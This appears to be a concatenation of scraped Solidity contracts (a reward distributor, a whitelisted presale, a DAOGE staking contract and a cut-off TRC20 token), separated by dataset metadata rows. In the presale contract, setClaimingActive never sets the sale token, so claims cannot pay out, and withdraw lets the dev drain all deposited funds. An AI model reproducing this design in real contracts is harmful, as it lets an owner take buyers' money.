using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 89,231 | 13,165 |
66c92a6240c3421dcef2b673cd0938fe48d3f27beb353baa1bb2263c586bd738
| 33,994 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/eb/ebd224e2bb72316b72dbe3653ac5dc16a376ce66_WhitelistedPresale.sol
| 3,963 | 16,407 |
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: Presale2.sol
contract WhitelistedPresale is Ownable {
using SafeERC20 for ERC20;
using Address for address;
uint constant DAIdecimals = 10 ** 18;
uint constant F0Xdecimals = 10 ** 9;
uint public constant MAX_SOLD = 70000 * F0Xdecimals;
uint public constant PRICE = 5 * DAIdecimals / F0Xdecimals ;
uint public constant MAX_SALE_PER_ACCOUNT = 200 * F0Xdecimals;
uint public constant MAX_PRESALE_PER_ACCOUNT = 400 * F0Xdecimals;
uint public sold;
uint owed;
address public F0X;
mapping(address => uint256) public invested;
address public dev;
ERC20 DAI;
uint presaleTimestamp;
mapping(address => bool) public approvedBuyers;
constructor(address _dev, uint _presaleTimestamp, address dai_address) {
dev = _dev;
presaleTimestamp = _presaleTimestamp;
DAI = ERC20(dai_address);
}
modifier onlyEOA() {
require(msg.sender == tx.origin, "!EOA");
_;
}
function _approveBuyer(address newBuyer_) internal onlyOwner() returns (bool) {
approvedBuyers[newBuyer_] = true;
return approvedBuyers[newBuyer_];
}
function approveBuyer(address newBuyer_) external onlyOwner() returns (bool) {
return _approveBuyer(newBuyer_);
}
function approveBuyers(address[] calldata newBuyers_) external onlyOwner() returns (uint256) {
for(uint256 iteration_ = 0; newBuyers_.length > iteration_; iteration_++) {
_approveBuyer(newBuyers_[iteration_]);
}
return newBuyers_.length;
}
function isPresale() public view returns (bool) {
if (presaleTimestamp <= block.timestamp){
return true;
}
return false;
}
function isPublicSale() public view returns (bool) {
if (presaleTimestamp + 24 * 3600 <= block.timestamp) {
return true;
}
return false;
}
function amountBuyable(address buyer) public view returns (uint256) {
uint256 max;
if (approvedBuyers[buyer] && isPresale()){
max = MAX_PRESALE_PER_ACCOUNT;
}
if (!approvedBuyers[buyer] && isPublicSale()){
max = MAX_SALE_PER_ACCOUNT;
}
return max - invested[buyer];
}
function buy(uint256 amount) public onlyEOA {
require(sold < MAX_SOLD, "sold out");
require(sold + amount < MAX_SOLD, "not enough remaining");
require(amount <= amountBuyable(msg.sender), "amount exceeds buyable amount");
DAI.safeTransferFrom(msg.sender, address(this), amount * PRICE);
invested[msg.sender] += amount;
sold += amount;
owed += amount;
}
function claim() public onlyEOA {
ERC20(F0X).transfer(msg.sender, invested[msg.sender]);
owed -= invested[msg.sender];
invested[msg.sender] = 0;
}
function setClaimingActive(address test) public {
require(msg.sender == dev, "!dev");
F0X = F0X;
}
function withdraw(address _token) public {
require(msg.sender == dev, "!dev");
uint b = IERC20(_token).balanceOf(address(this));
IERC20(_token).transfer(dev,b);
}
function getCurrentTimestamp() view external returns(uint){
return block.timestamp;
}
}
| 330,627 | 13,166 |
35c711c9e49d509d4e5ac57df86fdf3c84a02c7fbee5ab19e8eb803983bbb275
| 27,367 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/26/26d80f45f09706fd39359b15ba667ec81b9954f4_DAOGEStaking.sol
| 4,221 | 16,920 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsDAOGE {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract DAOGEStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable DAOGE;
address public immutable sDAOGE;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _DAOGE,
address _sDAOGE,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_DAOGE != address(0));
DAOGE = _DAOGE;
require(_sDAOGE != address(0));
sDAOGE = _sDAOGE;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(DAOGE).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsDAOGE(sDAOGE).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sDAOGE).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsDAOGE(sDAOGE).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsDAOGE(sDAOGE).balanceForGons(info.gons));
IERC20(DAOGE).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sDAOGE).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(DAOGE).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IsDAOGE(sDAOGE).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IsDAOGE(sDAOGE).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsDAOGE(sDAOGE).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(DAOGE).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sDAOGE).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sDAOGE).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 130,086 | 13,167 |
7bc15fb8ae1d9a91a8ffb269515fceb6bb5fb8eaa14c1337b7ab62f125080bc2
| 20,854 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TEkYi9faXJA9DcjYkd7qeuwnX2Rser19Jo_Stake_1.sol
| 2,774 | 10,421 |
//SourceUnit: Stake1.sol
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
interface ITRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address payable recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract owned {
address payable public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) onlyOwner public returns (bool) {
owner = newOwner;
return true;
}
}
contract SNACK is ITRC20, owned {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
constructor () public {
_name = "SNACK";
_symbol = "SNACK";
_decimals = 6;
}
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
mapping (address => bool) private minter;
modifier canMint() {
require(minter[msg.sender]);
_;
}
function addMinter(address payable newContract) onlyOwner public returns (bool) {
minter[newContract] = true;
return true;
}
function removeMinter(address payable newContract) onlyOwner public returns (bool) {
minter[newContract] = false;
return true;
}
function mint(address _to, uint256 _value) canMint public returns (bool) {
_mint(_to, _value);
_mint(owner, uint(_value).div(10));
return true;
}
function burn(uint256 _value) public returns (bool) {
_burn(msg.sender, _value);
return true;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address payable recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "TRC20: transfer from the zero address");
